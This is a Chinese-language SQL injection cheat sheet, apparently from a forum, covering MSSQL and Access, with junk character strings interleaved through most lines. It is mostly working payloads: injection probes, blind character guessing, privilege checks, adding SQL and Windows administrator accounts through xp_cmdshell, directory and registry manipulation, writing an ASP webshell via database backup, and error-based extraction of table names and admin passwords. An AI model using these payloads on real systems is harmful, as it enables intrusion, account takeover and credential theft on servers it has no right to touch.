1.判断是否有注入 / Z. J5 H* ~" x5 u2 S
;and 1=1 ( E' i( |: [5 y# S
;and 1=2
3 Y, j/ f; |& p" }
9 k+ E2 m2 `4 H' m5 L2.初步判断是否是mssql + [ e9 H" _% b4 m. z! e# z5 q
;and user>0
# G* v. P3 i+ {2 L* \( i# N% t: ^) Q: B* q+ d
3.判断数据库系统 . u$ T M; {3 u t9 S
;and (select count(*) from sysobjects)>0 mssql ( x6 h! H. ~. x
;and (select count(*) from msysobjects)>0 access * ~$ A% t! F$ A3 t
& J( I6 Z2 j l
4.注入参数是字符
8 `. Y3 O! k% ^9 Y; v+ s3 s'and [查询条件] and ''=' 9 A' U' C/ P8 | S
T3 o1 h5 k9 Z# F$ _4 k0 r5.搜索时没过滤参数的 # E4 n' M# h Q) R I' v
'and [查询条件] and '%25'='
7 H& g- ?9 l" l# g0 p: _
. |. K4 L: ?+ N4 |- R4 y' M6.猜数表名 . h9 w" L7 e" G# K) v- t4 C
;and (select Count(*) from [表名])>0
9 f9 Q8 g2 W! t! j% }8 s9 W
. P- v, P5 e1 {8 H7 g7.猜字段
+ f! N# i7 T9 N, s6 V; M/ h;and (select Count(字段名) from 表名)>0
. j( ~: n8 p% T3 [& H
! i4 E4 P. z* `. Z$ h7 t9 E8.猜字段中记录长度 $ ?, _* [' L- z& q
;and (select top 1 len(字段名) from 表名)>0 & P" i) D% P7 |
5 X$ `9 E3 Q1 t9 q' @9.(1)猜字段的ascii值(access)
, p/ v( ?; G, N( `5 c1 g;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
( B% D1 m0 X1 i4 t) [5 o3 A+ B: _5 k6 S
(2)猜字段的ascii值(mssql)
q# L, M: D# Q) ^6 Y P;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
' l$ V: H6 f- z& v7 R7 J6 z: X/ B' Q! F0 {- n
10.测试权限结构(mssql)
6 }$ E) T. z0 d8 Y4 D;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
+ p" [" g( y; @; B) T" V+ K; u;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 1 x( S. _6 {% a
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
& ?/ u- f& k! Q b: n;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
/ `8 M+ J/ {- W. {3 ];and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- " }6 [. v h2 R5 q( _
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
& h6 K W5 Y, q; F% c1 t b2 s;and 1=(select IS_MEMBER('db_owner'));--
# c y+ P0 e7 ` ]2 S
# a7 i. f' ]5 d11.添加mssql和系统的帐户
$ B g: p$ J; t/ v;exec master.dbo.sp_addlogin username;-- 1 \7 Y7 E, C( O1 Q2 z! g; k/ v
;exec master.dbo.sp_password null,username,password;-- ) n$ u9 ?! X9 Q+ ?; j. [. z. O
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ! r; j8 l! f8 E' Q/ \" h
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 1 u2 L! i( E9 P, I* u4 ~6 Z: \
;exec master.dbo.xp_cmdshell 'net user username password /add';-- $ B# L1 h/ K& J1 }- ?$ o
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0 ~8 G; c# ~+ f: M( F! ]! S
1 f4 Z' H$ G/ \- ?- I9 a2 Q
12.(1)遍历目录
& P- ]' W0 [0 M' _;create table dirs(paths varchar(100), id int) 5 c. j1 e! Z0 h
;insert dirs exec master.dbo.xp_dirtree 'c:\' 4 l3 v/ v. p/ z: n
;and (select top 1 paths from dirs)>0 . ?9 d# \7 | x4 T
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 7 }. J. v) i% W! H l& ?
) b/ ~5 [; U; a: W: f2 r
(2)遍历目录 # c& u( `& x/ o" ~1 K
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
) j1 E( |$ U; h1 S3 _! l5 f;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6 p; C! v& n# ` Z4 |& S3 f9 ]
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% v+ X% V( q9 E3 e: w! g6 C;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
" C8 D8 R6 s- S3 X5 s, ?7 y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
1 n- C' H ?7 `9 r0 S$ d: ^
% T8 h5 _. v6 D1 ^: n13.mssql中的存储过程 3 _0 {- U$ E- L k" q) {5 e* H
xp_regenumvalues 注册表根键, 子键
3 Y7 Y5 H8 z* ^$ z; z2 L;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ) H/ T: W, q! H1 @# @
xp_regread 根键,子键,键值名
" ~, w; b/ V2 m8 [8 K* }0 M; J) m;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 5 r+ {- R; _+ A3 h
xp_regwrite 根键,子键, 值名, 值类型, 值
, T9 Y1 r" p% d( |3 P值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
2 W+ N" a. Z# C& }( Y;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
3 I0 N6 I0 t! G9 h, y- E% lxp_regdeletevalue 根键,子键,值名
+ C3 h+ d) d9 e# e6 }exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 7 `) B" J- v5 R& Z
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 E4 E/ z% i+ J. _( ]$ `/ o5 N
( t5 p" G7 l1 z h s+ ~; v
14.mssql的backup创建webshell
6 R$ n7 C9 ~! B4 z& ^use model
9 O9 j5 T2 g4 gcreate table cmd(str image);
) `3 |$ C4 D9 W2 X5 cinsert into cmd(str) values ('<% Dim oScript %>'); 0 L7 j" O' c+ y& g. L3 k6 c
backup database model to disk='c:\l.asp';
3 }$ S2 l, ^. L" ~% i6 s* G+ f$ n6 P% e* |: i+ ~! d, o( O+ Q
15.mssql内置函数
' [. ]( {' k+ D) N Q;and (select @@version)>0 获得Windows的版本号
. ?* _% ~' a/ G6 A U" F( X;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4 N' p1 O% a" l8 J6 ?
;and (select user_name())>0 爆当前系统的连接用户
& a( p7 p" p6 k: B: W& Z5 {$ V y+ l;and (select db_name())>0 得到当前连接的数据库
6 Z7 Z7 N/ b* ?, @- y4 }. r$ }! D B6 L' B3 j( H$ ~; |" ?: ]
- P9 t8 {0 L- g* \6 v) R) Z/ R; J( v2 Z! K8 F+ Z9 S
MSSQL手注暴库8 G H* z( n, R
* D0 S. q& D( R; k- B1.暴出当前表名和列名
2 k4 ~6 }) A7 _在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。5 W, A. w0 A: e/ m
5 U- A9 l/ ~; D2 A5 ?, X- j2 e0 L$ P第一.爆出所有数据库名- n/ w, ?! @0 h# B3 y
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。6 e+ k! M) I9 y+ c* B5 K
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。5 B3 S6 e& N+ ~8 Q! W- O1 K$ f
+ @+ [+ E: `7 C4 R& H# w1 K1 f' j' iand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名+ I1 ]5 c4 n/ ~( y0 } y- z" b
* ~8 |7 [( g) V3 i$ y
% z: @. f8 r: q' }- @8 a
第二.爆出指定库中的所有表名( G% W. o( ?) C3 x; V
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。: O* B# F$ R0 J+ |% c
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
* E/ |2 H3 \; h7 W3 `; c/ e- N- i/ D. G1 [' v: ?* ~# W/ l
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
$ k4 G3 S7 W4 g+ Band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--4 B5 M# L1 A/ {; I; p( x7 T+ J
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--, `* R9 _- }& p! A; N) r# j- [
! w' l7 b! A7 q& z# d! d4.爆出指定表中的所有列名
# B& W3 ? h2 {# R zand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
: P2 A* Z. q6 w V//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
+ G2 b# x5 G: _: m
( X1 W) e. _- k9 T Z. dand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名- D5 j: `* @& D5 A, ? l
8 d* ]; u* C, z) B" ^4 J
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
8 }% G! Y$ x& K. |$ e; `依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
* ~* T. v! _! u7 A0 h! w- Q5 x
; E; K2 h. @! }# j/ z
. Y, M3 `, D& @1 _& gand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
2 E, C7 T$ u( c: U5 j6 H: \2 {- W' h0 _# H- ^0 U1 ?
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名- L6 l0 s% P+ @( u! e* l) _
- K, p5 O7 l( o zand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 8 j& b- t& m0 `
3 ]% \' W3 j3 [& E6 [* m) j4 h1 p
' L: d! F3 @2 n* ^& U; u+ O
1 o4 P1 C$ `1 Q0 ^* b( F/ o: i* l# w5.读取指定表中的数据
9 r# Y/ E3 o# H. v( v9 a* X
6 ^& ^3 C. u( C' Gand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 * R K' N$ d9 h! i
+ a0 ]( z3 M2 g+ ~0 g6 U
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
9 R C( s# N9 z q+ l$ b9 z" o% ?
& N0 }/ a1 N; Hand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
2 [2 |8 p! y! W5 ]1 z7 e
$ L, ], W. k7 t
0 E7 G* r. l# f8 i/ iand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
* U5 w$ o0 `, A Z* R+ o8 {* O) T4 W, ]0 x
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)+ M- D+ g' s4 v. E, c1 {
' I" g9 }. X8 f6 }/ |0 a4 D
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--$ f# F" @ U# ]& `4 i
% D0 E( a7 n# d
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。% y, i9 `5 v* z9 P% F
|